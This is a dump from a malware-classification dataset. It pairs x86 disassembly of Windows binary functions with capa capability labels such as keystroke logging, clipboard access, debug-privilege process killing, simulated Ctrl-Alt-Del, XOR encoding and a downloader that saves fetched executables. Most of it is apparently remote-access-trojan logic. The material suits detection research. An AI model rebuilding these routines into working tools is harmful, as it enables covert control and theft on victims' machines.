joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008123
Capabilities:
Log keystrokes

Disassembly:
push ecx
push ecx
mov eax, dword [esp + 0x10]
push ebx
push 0x1c
xor edx, edx
pop ecx
div ecx
test edx, edx
jne 0x1000827a
call fcn.1000b38b
mov eax, dword [esp + 0x14]
push 0x1c
xor edx, edx
pop ecx
div ecx
xor ebx, ebx
cmp eax, ebx
jle 0x1000827a
mov ecx, dword [esp + 0x10]
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push esi
push edi
lea esi, [ecx + 8]
mov dword [esp + 0x20], eax
mov eax, dword [esi - 4]
cmp eax, 0x200
jb 0x100081a0
cmp eax, 0x208
ja 0x100081a0
mov edi, dword [esi + 4]
movzx eax, word [esi + 4]
shr edi, 0x10
push edi
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [esi - 4]
mov ecx, 0x203
cmp eax, ecx
ja 0x10008210
je 0x10008200
sub eax, 0x100
je 0x100081fc
dec eax
je 0x100081e4
sub eax, 3
je 0x100081fc
dec eax
je 0x100081e4
sub eax, 0xfc
je 0x100081d9
dec eax
jne 0x1000826a
push ebx
push ebx
push ebx
push ebx
push 4
jmp 0x10008268
push ebx
push ebx
push ebx
push ebx
push 2
jmp 0x10008268
push ebx
push 2
push ebx
push dword [esi]
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [esi]
push eax
call dword [0x1001a308]
jmp 0x1000826a
push ebx
push ebx
jmp 0x100081e7
push ebx
push ebx
push ebx
push ebx
push 6
call ebp
push ebx
push ebx
push ebx
push ebx
push 6
jmp 0x10008268
sub eax, 0x204
je 0x10008262
dec eax
je 0x1000825a
dec eax
je 0x1000824a
dec eax
je 0x10008242
dec eax
je 0x1000823a
dec eax
dec eax
jne 0x1000826a
mov eax, dword [esi]
push ebx
shr eax, 0x10
movsx eax, ax
push eax
push ebx
push ebx
push 0x800
jmp 0x10008268
push ebx
push ebx
push ebx
push ebx
push 0x40
jmp 0x10008268
push ebx
push ebx
push ebx
push ebx
push 0x20
jmp 0x10008268
push ebx
push ebx
push ebx
push ebx
push 0x18
call ebp
push ebx
push ebx
push ebx
push ebx
push 0x18
jmp 0x10008268
push ebx
push ebx
push ebx
push ebx
push 0x10
jmp 0x10008268
push ebx
push ebx
push ebx
push ebx
push 8
call ebp
add esi, 0x1c
dec dword [esp + 0x20]
jne 0x10008167
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 8

Function at 0x10008280
Capabilities:
Open clipboard

Disassembly:
push ecx
push ebx
mov dword [esp + 4], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x100082fc
push 1
call dword [0x1001a304]
mov ebx, eax
test ebx, ebx
jne 0x100082a8
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x100082fc
push ebp
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov esi, eax
push ebx
inc esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
mov ebp, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
lea eax, [esi - 1]
push eax
push ebp
lea eax, [edi + 1]
mov byte [edi], 0x76
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x10]
push esi
push edi
call fcn.10007376
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x100082ff
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000835d
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
push dword [esp + 0xc]
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x10008356
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push dword [esp + 0xc]
push dword [esp + 0xc]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
ret 8
Function at 0x100093aa
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.10009260
pop ecx
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
test eax, eax
jle 0x100093e8
mov ecx, dword [ebp - 4]
add byte [ecx + edx], 0x7a
add ecx, edx
mov ecx, dword [ebp - 4]
xor byte [ecx + edx], 0x19
add ecx, edx
inc edx
cmp edx, eax
jl 0x100093d1
mov eax, dword [ebp - 4]
leave
ret
Function at 0x10009711
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 8]
and byte [ebp - 0x14], 0
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x18]
push 0
push eax
push dword [ebp - 4]
mov byte [ebp - 0x18], 0x7e
mov byte [ebp - 0x17], 0x4d
mov byte [ebp - 0x16], 0x48
mov byte [ebp - 0x15], 0x7a
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x1000a0d8
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push dword [ebp + 0x10]
xor ebx, ebx
push ebx
push edi
call sub.MSVCRT.dll_memset
push 0x400
lea eax, [ebp - 0x808]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x408]
push 0x100163b4
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x408]
push str.YSTEMCurrentControlSetServices_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [ebp + 8]
lea eax, [ebp - 0x408]
push eax
lea eax, [ebp - 0x808]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push ebx
lea eax, [ebp - 8]
push dword [ebp + 0x10]
mov byte [ebp - 8], 0x48
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x73
push ebx
push edi
push 1
push eax
lea eax, [ebp - 0x808]
mov byte [ebp - 5], 0x74
push eax
push reloc.WS2_32.dll_bind
mov byte [ebp - 4], bl
call fcn.1000741e
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x30
push edi
call esi
test eax, eax
jne 0x1000a192
push dword [ebp + 0x10]
push edi
call dword [sym.imp.WS2_32.dll_gethostname]
push edi
call esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000a19a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push dword [ebp + 0x10]
xor ebx, ebx
push ebx
push edi
call sub.MSVCRT.dll_memset
push 0x400
lea eax, [ebp - 0x810]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x410]
push 0x100163b4
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x410]
push str.YSTEMCurrentControlSetServices_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [ebp + 8]
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x810]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push ebx
lea eax, [ebp - 0x10]
push dword [ebp + 0x10]
mov byte [ebp - 0x10], 0x43
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x6e
push ebx
push edi
push 1
push eax
lea eax, [ebp - 0x810]
mov byte [ebp - 0xd], 0x6e
push eax
push reloc.WS2_32.dll_bind
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x47
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x75
mov byte [ebp - 5], 0x70
mov byte [ebp - 4], bl
call fcn.1000741e
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x30
push edi
call esi
test eax, eax
jne 0x1000a26f
mov edi, 0x100175ac
push edi
call esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000abbb
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 1
mov dword [ebp - 4], ecx
push str.SeDebugPrivilege
call fcn.1000ae9c
xor esi, esi
pop ecx
cmp dword [ebp + 0xc], esi
pop ecx
jbe 0x1000ac1e
push ebx
push edi
push str.TerminateProcess
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov eax, dword [ebp + 8]
push dword [esi + eax]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, dword [ebp + 0xc]
jb 0x1000abda
pop edi
pop ebx
push 0
push str.SeDebugPrivilege
call fcn.1000ae9c
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
call fcn.1000ab69
mov ecx, dword [ebp - 4]
call fcn.1000ab92
pop esi
leave
ret 8
Function at 0x1000b2c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov al, byte [ebp + 0x20]
mov byte [ebp - 8], al
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x1000b25c
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x1000b4b2
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
call dword [0x1001a460]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push 1
push 0x57
push str.Xinlogon
mov esi, eax
call dword [sym.imp.MSVCRT.dll__strnset]
push eax
call fcn.1000b507
add esp, 0x10
test eax, eax
jne 0x1000b4e0
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x1000b502
push esi
call fcn.1000b45c
pop ecx
push 1
pop eax
pop esi
ret

Function at 0x1000b54c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push edi
push str.CreateFileA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor esi, esi
pop ebx
mov edi, eax
push esi
push esi
push esi
push esi
push str.Mozilla_4.0__compatible_
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 8], ebx
call dword [0x1001a478]
cmp eax, esi
mov dword [ebp - 0x14], eax
je 0x1000b5ae
push esi
push bind
push esi
push esi
push dword [ebp + 8]
push eax
call dword [0x1001a448]
cmp eax, esi
mov dword [ebp - 0xc], eax
jne 0x1000b5b5
xor al, al
jmp 0x1000b64e
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 0xc]
call edi
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x1000b634
mov edi, 0x400
push edi
lea eax, [ebp - 0x414]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x414]
push edi
push eax
push dword [ebp - 0xc]
call dword [0x1001a464]
cmp ebx, esi
je 0x1000b607
cmp word [ebp - 0x414], 0x5a4d
jne 0x1000b628
lea eax, [ebp - 0x10]
push esi
push eax
lea eax, [ebp - 0x414]
push dword [ebp - 4]
xor ebx, ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 4], esi
jbe 0x1000b62b
jmp 0x1000b5d2
mov dword [ebp - 8], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
call dword [0x1001a45c]
push dword [ebp - 0x14]
call dword [0x1001a45c]
xor eax, eax
cmp dword [ebp - 8], esi
setne al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000bd50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x100120ea
call fcn.10011ae4
sub esp, 0x18
push ebx
push esi
mov esi, ecx
call fcn.1000b837
test al, al
je 0x1000bde4
push 0x18
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ecx, eax
mov dword [ebp - 0x14], ecx
xor ebx, ebx
cmp ecx, ebx
mov dword [ebp - 4], ebx
je 0x1000bd89
call fcn.1000b653
mov ecx, eax
jmp 0x1000bd8b
xor ecx, ecx
mov eax, dword [esi + 0x20]
or dword [ebp - 4], 0xffffffff
cmp eax, ebx
mov dword [esi + 0x14], ecx
je 0x1000bda4
mov edx, dword [esi + 0x24]
cmp edx, ebx
je 0x1000bda4
push edx
push eax
jmp 0x1000bdd8
push 0x120
push 0x160
call fcn.1000b8ce
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x1000bde8
mov ecx, dword [esi + 0x14]
push 0x90
push 0xb0
call fcn.1000b8ce
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x1000bde8
mov ecx, dword [esi + 0x14]
push ebx
push ebx
call fcn.1000b8ce
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x1000bde8
xor al, al
jmp 0x1000be66
push edi
mov dword [ebp - 0x24], 0x3336324d
mov dword [ebp - 0x20], 0x32335649
mov dword [ebp - 0x1c], 0x3234504d
mov dword [ebp - 0x18], 0x64697663
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x24]
push 0x78
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x1000be22
mov dword [eax], 0x100133cc
mov dword [eax + 0x48], ebx
jmp 0x1000be24
xor eax, eax
push dword [edi]
mov ecx, dword [esi + 0x14]
mov dword [esi + 0x18], eax
push dword [ecx + 8]
mov ecx, eax
call fcn.1000be74
test al, al
jne 0x1000be58
mov ecx, dword [esi + 0x18]
cmp ecx, ebx
je 0x1000be47
mov eax, dword [ecx]
push 1
call dword [eax]
inc dword [ebp - 0x14]
add edi, 4
cmp dword [ebp - 0x14], 4
mov dword [esi + 0x18], ebx
jb 0x1000be0b
jmp 0x1000be62
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x24]
mov dword [esi + 0x1c], eax
mov al, byte [ebp - 0xd]
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x6bac12a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x6bac12f8
cmp byte [esi + ebx - 1], 0xa
je 0x6bac12cc
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x6bac60a4], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x403108
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x48e020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4031a0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403180
xor eax, eax
push ebp
push 0x403179
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4031bc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403180
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x48e020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x48e020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403e94
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x49104c], 0
je 0x403ef5
cmp word [0x491220], 0xd7b2
jne 0x403ebd
cmp dword [0x491228], 0
jbe 0x403ebd
mov eax, 0x49121c
call dword [0x491238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x48e06c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403f1c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x48e030], 0
jne 0x403f11
push 0
push 0x48e064
push 0x48e06c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x40613c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4061a2
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404280
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402cac
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x40618c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4061a9
lea eax, [ebp - 0x10]
call fcn.00404010
ret

Function at 0x40bc20
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40bc59
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404100
jmp 0x40bc62
mov eax, ebx
mov edx, esi
call fcn.00404064
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40bc6c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40bc8d
mov al, byte [esp]
jmp 0x40bc8f
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40c314
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40c18c
mov eax, dword [0x4904ac]
cmp byte [eax], 0
je 0x40c390
mov eax, dword [0x4901b0]
call fcn.00402a70
call fcn.004028e0
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408de4
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40c3d8
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40c3c6
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x49014c]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x491668]
call fcn.00405650
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40cc98
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40cd6e
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.004040a8
lea eax, [ebp - 8]
call fcn.00404520
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004044d0
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40cd58
mov eax, ebx
call fcn.00402778
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40cd51
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004044d0
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40cd3b
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40cd80
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40cd3b
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cd58
mov eax, dword [ebp - 0x10]
call fcn.00402798
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cd75
lea eax, [ebp - 8]
call fcn.00404010
ret

Function at 0x40d278
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40d2dc
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404280
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00408954
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d2e3
lea eax, [ebp - 0xc]
call fcn.00404010
ret

Function at 0x4252e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x491888
cmp dword [edi], 0
jne 0x42535c
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x491884]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x48e5d0
mov ecx, 2
call fcn.00402974
mov edx, 0x4252b8
lea eax, [esi + 5]
call fcn.004252d8
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.004252d8
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x425331
mov dword [0x491884], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x426578
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x42657e
ret
Function at 0x4289c0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x428a11
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x4289f8
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x4289e8
jmp 0x428a11
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x4289f9
pop ebx
mov esp, ebp
pop ebp
ret